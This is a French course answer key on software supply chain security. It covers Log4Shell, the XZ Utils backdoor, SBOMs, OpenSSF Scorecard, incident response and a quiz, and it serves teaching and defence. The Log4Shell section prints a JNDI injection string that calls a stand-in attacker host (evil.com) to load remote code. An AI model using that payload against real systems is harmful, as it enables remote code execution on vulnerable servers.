

TD 10 — Supply chain et sécurité — Corrigé

Exercice 1 — Analyse de Log4Shell

Questions

1. Qu'est-ce que Log4j ? Pourquoi est-il si répandu ?

Log4j est une bibliothèque de **logging pour Java** développée par la fondation Apache. Elle est extrêmement répandue car :

- Java est l'un des langages les plus utilisés en entreprise (applications web, microservices, systèmes distribués)
- Log4j est la bibliothèque de logging de référence dans l'écosystème Java depuis 20 ans
- Elle est incluse dans de nombreux frameworks (Spring, Struts, Solr...) comme **dépendance transitive**
- Des millions d'applications l'utilisent sans que leurs développeurs en soient conscients

2. Comment fonctionne la vulnérabilité ? Mécanisme JNDI lookup.

Log4j avait une fonctionnalité de **lookup** qui permettait d'interpréter des expressions dans les messages loggés. Le mécanisme :

1. Un attaquant envoie une requête contenant une chaîne comme `${jndi:ldap://evil.com/exploit}`
2. Log4j interprète cette chaîne et exécute une requête **JNDI** (Java Naming and Directory Interface) vers le serveur de l'attaquant
3. Le serveur répond avec une classe Java malveillante
4. Log4j charge et **exécute** cette classe → exécution de code arbitraire (RCE)

L'attaque est triviale : il suffit d'injecter la chaîne dans n'importe quel champ loggé (User-Agent, paramètre d'URL, champ de formulaire...).

3. Pourquoi le score CVSS est-il de 10.0 ?

Le score maximal de 10.0 est justifié par :

- **Vecteur d'attaque : réseau** — exploitable à distance via HTTP
- **Complexité : faible** — une simple chaîne de caractères suffit
- **Privilèges requis : aucun** — pas besoin d'authentification
- **Interaction utilisateur : aucune** — pas besoin d'action de la victime
- **Impact : complet** — exécution de code arbitraire (confidentialité, intégrité, disponibilité)

C'est le scénario le plus grave possible : RCE non authentifié, à distance, sans interaction.

4. Combien de temps entre la découverte et le patch ?

- **24 novembre 2021** : Alibaba Cloud Security signale la vulnérabilité à Apache
- **9 décembre 2021** : Divulcation publique + publication de Log4j 2.15.0 (premier correctif, incomplet)
- **13 décembre 2021** : Log4j 2.16.0 (correction complète)
- **18 décembre 2021** : Log4j 2.17.0 (correction de vulnérabilités supplémentaires découvertes)

Délai découverte → premier patch : **15 jours**. Mais des exploits circulaient dans la nature dès le 1er décembre (avant la divulgation publique).

5. Pourquoi certaines organisations ont mis des semaines à patcher ?

Obstacles :

- **Invisibilité des dépendances** : Log4j était souvent une dépendance transitive — les organisations ne savaient pas qu’elles l’utilisaient
- **Pas de SBOM** : sans inventaire des composants, impossible de savoir rapidement quels systèmes étaient affectés
- **Systèmes legacy** : certaines applications n’avaient pas été mises à jour depuis des années, la migration vers Log4j 2.17 nécessitait des tests importants
- **Systèmes embarqués / IoT** : certains appareils contenant Log4j ne pouvaient pas être facilement mis à jour
- **Dépendances tierces** : même après avoir patché ses propres apps, il fallait attendre que les fournisseurs de logiciels tiers patchent les leurs

Réflexion

1. Comment savoir si vous êtes affecté ?

- Rechercher log4j dans le SBOM (si existant) ou dans les fichiers JAR (`find / -name "log4j*.jar"`)
- Scanner avec des outils spécialisés (Syft, Trivy, Grype)
- Vérifier les dépendances Maven/Gradle de tous les projets Java
- Pour les applications tierces : contacter les fournisseurs

2. Mesures immédiates ?

- Appliquer la mitigation (variable d’environnement `LOG4J_FORMAT_MSG_NO_LOOKUPS=true`) en attendant le patch
- Bloquer le trafic LDAP/RMI sortant au niveau firewall (empêche le callback vers le serveur attaquant)
- Mettre à jour Log4j dès que possible (2.17.0+)
- Surveiller les logs pour détecter des tentatives d’exploitation

3. Mesures préventives après coup ?

- Mettre en place un **SBOM** pour tous les produits
- Déployer un **scanner SCA** (Dependabot, Snyk, Trivy) dans la CI/CD
- Créer un **plan de réponse aux incidents** formalisé
- Auditer les dépendances critiques (bus factor, maintenance)

Exercice 2 — L’attaque XZ Utils

Questions de compréhension

1. Qui est “Jia Tan” ? Quelle était sa stratégie ?

“Jia Tan” (compte GitHub JiaT75) est un pseudonyme — son identité réelle est inconnue, probablement un acteur étatique. Sa stratégie était une opération d’**ingénierie sociale à long terme** :

1. **2021** : Commence à soumettre des contributions légitimes et utiles à XZ Utils
2. **2022** : Intensifie les contributions, gagne la confiance du mainteneur (Lasse Collin)
3. En parallèle, des comptes suspects (probablement sockpuppets) harcèlent Collin pour qu’il accepte de l’aide — Collin souffrait de burnout
4. **2023** : Obtient les droits de commit et devient co-mainteneur officiel

5. **Début 2024** : Insère progressivement la backdoor, camouflée dans les fichiers de test (binaires obfusqués)
6. Pousse pour que la version compromise soit incluse dans Debian et Fedora

C'est une attaque "patient" — 3 ans d'investissement pour compromettre une seule bibliothèque.

2. Comment la backdoor a-t-elle été découverte ?

Par **Andres Freund**, ingénieur PostgreSQL chez Microsoft. En faisant du micro-benchmarking, il a remarqué que les connexions SSH étaient anormalement **lentes** (500ms de latence en plus). En investiguant, il a remonté jusqu'à XZ Utils et découvert le code malveillant. C'est une découverte **par hasard** — la backdoor était conçue pour être indétectable par les méthodes habituelles (review de code, tests, CI).

3. Pourquoi le mainteneur a-t-il accepté ce contributeur ?

- Lasse Collin était **seul mainteneur** de XZ Utils depuis des années
- Il souffrait de **burnout** et avait publiquement exprimé qu'il avait besoin d'aide
- "Jia Tan" était un contributeur **compétent et régulier** pendant 2 ans avant l'attaque
- Des comptes tiers pressaient Collin d'accepter de l'aide ("you're holding back the project")
- Il n'y avait aucune raison apparente de se méfier — c'est exactement le type de contribution que les projets open source recherchent

C'est une illustration brutale du problème du **mainteneur solitaire burnouté**.

4. Quelles distributions étaient affectées ?

- **Fedora 40/41** (versions de développement) — avaient intégré la version compromise
- **Debian Sid** (unstable) — idem
- **Arch Linux** — brièvement affecté

Les distributions **stables** (Debian Stable, Ubuntu LTS, RHEL) n'étaient PAS affectées car elles utilisaient des versions plus anciennes de XZ Utils. C'est un argument en faveur des **cycles de release conservateurs** et du délai de stabilisation.

Analyse comparative

Critère	Log4Shell	XZ Utils
Type d'attaque	Vulnérabilité accidentelle (bug)	Backdoor intentionnelle (attaque ciblée)
Vecteur	Feature de logging exploitable à distance	Code obfusqué dans les fichiers de test
Temps de préparation	0 (bug existant)	3 ans d'ingénierie sociale
Méthode de découverte	Signalement par chercheur en sécurité	Par hasard (micro-benchmarking SSH)
Facilité d'exploitation	Triviale (une chaîne de caractères)	Difficile (ciblait une config spécifique Debian/Fedora)
Leçons principales	SBOM, scanner les dépendances, mainteneurs sous-financés	Vérification des identités, builds reproductibles, ne pas dépendre d'un seul mainteneur

Débat

Comment prévenir ce type d'attaque ?

Pas de solution miracle, mais des mesures complémentaires :

- **Financer les mainteneurs** pour éviter le burnout et la solitude (un mainteneur payé est moins vulnérable à la manipulation)
- **Multi-maintainer** : exiger au moins 2-3 mainteneurs actifs pour les projets critiques
- **Builds reproductibles** : permettent de vérifier que le binaire correspond au code source
- **Vérification d'identité** pour les mainteneurs de projets critiques (OpenSSF travaille dessus)
- **Code review renforcée** sur les changements sensibles (mais la backdoor était dans les fichiers de test, rarement reviewés en détail)
- **Réduire la confiance automatique** : les distributions ne devraient pas inclure automatiquement les dernières versions sans période de stabilisation

Le point fondamental : c'est un **problème systémique**, pas un problème individuel. La solution passe par le financement, la gouvernance et l'outillage — pas par la vigilance d'une seule personne.

Exercice 3 — Création d'un SBOM

Option B : SBOM fictif (exemple de réponse)

```
{
  "bomFormat": "CycloneDX",
  "specVersion": "1.4",
  "version": 1,
  "components": [
    {
      "type": "library",
      "name": "Flask",
      "version": "2.3.0",
      "purl": "pkg:pypi/flask@2.3.0",
      "licenses": [{"license": {"id": "BSD-3-Clause"}}]
    },
    {
      "type": "library",
      "name": "SQLAlchemy",
      "version": "2.0.15",
      "purl": "pkg:pypi/sqlalchemy@2.0.15",
      "licenses": [{"license": {"id": "MIT"}}]
    },
    {
      "type": "library",
      "name": "requests",
      "version": "2.31.0",
      "purl": "pkg:pypi/requests@2.31.0",
      "licenses": [{"license": {"id": "Apache-2.0"}}]
    },
    {
      "type": "library",
      "name": "python-dotenv",
      "version": "1.0.0",
      "purl": "pkg:pypi/python-dotenv@1.0.0",
      "licenses": [{"license": {"id": "BSD-3-Clause"}}]
    }
  ]
}
```

Questions d'analyse

1. Combien de composants ?

- Directs : 4 (Flask, SQLAlchemy, requests, python-dotenv)
- Transitifs (exemples pour Flask seul) : Werkzeug, Jinja2, MarkupSafe, itsdangerous, click, blinker...
- Transitifs (requests) : urllib3, certifi, charset-normalizer, idna
- **Total estimé : 20-30 composants** pour ces 4 dépendances directes

2. Quelles licences ? Conflits ?

Licences présentes : BSD-3-Clause, MIT, Apache-2.0 — toutes permissives. Pas de conflit de compatibilité. Si le projet est propriétaire, aucun problème. Si le projet est sous GPL, Apache-2.0 est compatible avec GPL v3 (mais pas GPL v2 seul).

3. Trois dépendances transitives méconnues ?

Exemples :

- **MarkupSafe** (dépendance de Jinja2, lui-même dépendance de Flask) — échappement de chaînes HTML
- **certifi** (dépendance de requests) — certificats racine CA pour TLS
- **greenlet** (dépendance optionnelle de SQLAlchemy) — micro-threads pour l'asynchrone

4. Vulnérabilités connues ?

Dépend des versions exactes. Exemples possibles :

- requests < 2.31.0 avait des vulnérabilités liées à la gestion des proxies
- Flask et Werkzeug ont eu des CVE sur le debugger (ne pas activer en production)
- Le résultat de gype varie selon la date — c'est le principe : il faut scanner **régulièrement**, pas une seule fois

Livrable

Projet : mon-app-flask

Composants directs : 4

Composants transitifs : ~25

Licences uniques : 3 (BSD-3-Clause, MIT, Apache-2.0)

Vulnérabilités trouvées : 0-2 selon les versions

Exercice 4 — Évaluation avec OpenSSF Scorecard

Exemple d'évaluation : Kubernetes vs Flask

Critère	Kubernetes	Flask
Score global	7-8/10	5-6/10
Code-Review	Élevé (revue systématique)	Moyen
Maintained	Élevé (milliers de contributeurs)	Moyen (Pallets team, 5 actifs)
Vulnerabilities	Bonne gestion (PSIRT dédié)	Correcte
Branch-Protection	Oui	Oui
Signed-Releases	Oui (Sigstore)	Non

Analyse

1. Quel projet a le meilleur score ?

Kubernetes, car il bénéficie de la gouvernance CNCF (Linux Foundation) :

- Équipe sécurité dédiée (PSIRT)
- Releases signées avec Sigstore
- Process de review formalisé (2 approvals minimum)
- Financement par les entreprises membres de la CNCF

2. Critères les plus faibles ?

- **Kubernetes** : la complexité du projet rend le critère “Dangerous-Workflow” difficile à maintenir au maximum
- **Flask** : “Signed-Releases” (pas de signature cryptographique des releases) et “Maintained” (petite équipe, pas de budget sécurité dédié)

3. Utiliseriez-vous ces projets dans une application critique ?

- **Kubernetes** : oui, avec les précautions habituelles (mise à jour régulière, suivi des security advisories). Le projet a une gouvernance mature et un financement solide.
- **Flask** : oui pour du prototypage ou des applications internes. Pour une application critique exposée à Internet, on voudrait vérifier les CVEs récentes et s’assurer d’avoir un process de mise à jour rapide. Le score plus faible ne signifie pas que Flask est dangereux — mais que les garanties organisationnelles sont moins formalisées.

Exercice 5 — Plan de réponse aux incidents

Scénario : vulnérabilité CVSS 9.8 sur une dépendance directe

1. Premières actions (30 min)

- **Confirmer l’impact** : vérifier le SBOM ou scanner (grype, trivy) pour confirmer que la version vulnérable est utilisée
- **Évaluer l’exposition** : l’application est-elle accessible depuis Internet ? Le composant vulnérable est-il dans le chemin d’attaque ?
- **Prévenir** : alerter le CTO, l’équipe sécurité, le responsable produit
- **Mitigation immédiate** : si un workaround existe (WAF rule, feature flag, variable d’environnement), l’appliquer en attendant le patch

2. Actions à court terme (24h)

- **Inventaire** : identifier TOUS les systèmes utilisant la dépendance vulnérable (production, staging, dev, CI/CD, images Docker)
- **Patch** : mettre à jour la dépendance vers la version corrigée. Tester rapidement (tests automatisés) puis déployer
- **Communication interne** : informer les équipes concernées, documenter les actions dans un incident ticket
- **Communication externe** : si des données clients sont potentiellement compromises, prévenir les clients (obligation légale RGPD : 72h)

3. Actions à moyen terme (1 semaine)

- **Post-mortem** : comment la vulnérabilité a été découverte, temps de réaction, ce qui a bien/mal fonctionné
- **Amélioration du processus** :
 - Activer le scanning automatique si pas déjà fait (Dependabot, Snyk)
 - Mettre en place un SBOM si pas existant
 - Définir un SLA de mise à jour (ex: critique = 24h, haute = 1 semaine)
 - Former les développeurs à la réponse aux incidents

Template complété

Plan de Réponse - Vulnérabilité Critique

Phase 1 : Détection et confirmation

- [x] Vérifier la présence de la dépendance vulnérable (SBOM/scan)
- [x] Évaluer l'exposition (Internet-facing ? Chemin d'attaque ?)

Phase 2 : Containment

- [x] Appliquer mitigation temporaire (WAF, feature flag, config)
- [x] Bloquer le vecteur d'attaque si possible (firewall rules)

Phase 3 : Remediation

- [x] Mettre à jour la dépendance vers la version corrigée
- [x] Tester (automated tests) et déployer en production

Phase 4 : Recovery

- [x] Vérifier l'absence de compromission (logs, IOC)
- [x] Restaurer les services à la normale

Phase 5 : Lessons Learned

- [x] Post-mortem : timeline, causes, améliorations
 - [x] Mettre à jour le plan de réponse et les outils de détection
-

Exercice 6 — Quiz sécurité supply chain

1. “Un SBOM garantit qu’un logiciel est sécurisé.”

→ **FAUX**. Un SBOM est un inventaire, pas un audit de sécurité. Il liste les composants et leurs versions, ce qui permet de vérifier rapidement si une vulnérabilité connue vous affecte. Mais il ne détecte pas les vulnérabilités inconnues (zero-day), ne vérifie pas la qualité du code, et ne protège pas contre les attaques supply chain sophistiquées (type XZ Utils).

2. “Les dépendances transitives représentent un risque plus faible que les dépendances directes.”

→ **FAUX**. C’est l’inverse. Les dépendances transitives sont souvent plus risquées car :

- Elles sont moins visibles (les développeurs ne savent pas qu’elles existent)
- Elles sont plus nombreuses (souvent 10x les dépendances directes)
- Elles sont moins auditées (personne ne vérifie la sécurité d’une dep de dep de dep)
- Log4j était souvent une dépendance transitive — c’est ce qui a rendu le patch si difficile

3. “Un projet avec beaucoup d’étoiles GitHub est nécessairement bien maintenu.”

→ **FAUX**. Les étoiles mesurent la popularité, pas la maintenance. Un projet peut avoir 50k étoiles et :

- Ne plus avoir de mainteneur actif (dernier commit il y a 2 ans)
- Avoir des centaines d’issues non traitées
- Ne pas corriger les CVEs rapidement
- Inversement, un projet avec 500 étoiles peut être parfaitement maintenu par une équipe dédiée. Il faut regarder : date du dernier commit, temps de traitement des issues/PRs, fréquence des releases, nombre de contributeurs actifs.

4. “Le typosquatting ne concerne que npm, pas PyPI ou Maven.”

→ **FAUX**. Le typosquatting touche **tous** les registres de packages :

- **npm** : très touché vu la taille de l’écosystème (2M+ packages)

- **PyPI** : cas réguliers (ex: python3-dateutil au lieu de python-dateutil)
- **Maven** : moins fréquent mais documenté
- **RubyGems, Cargo, Go modules** : tous concernés
- La raison : ces registres permettent à n'importe qui de publier un package sans vérification d'identité

5. “Verrouiller les versions de dépendances élimine tous les risques supply chain.”

→ **FAUX**. Le lock file (package-lock.json, poetry.lock, etc.) protège contre :

- Les mises à jour inattendues
- Les changements de version non contrôlés

Mais il ne protège PAS contre :

- Les vulnérabilités dans la version verrouillée (il faut quand même mettre à jour)
- La compromission du registre (si le package est remplacé par une version malveillante avec le même numéro)
- Les attaques sur le processus de build lui-même
- L'ingénierie sociale (type XZ Utils) — le code malveillant EST dans la version verrouillée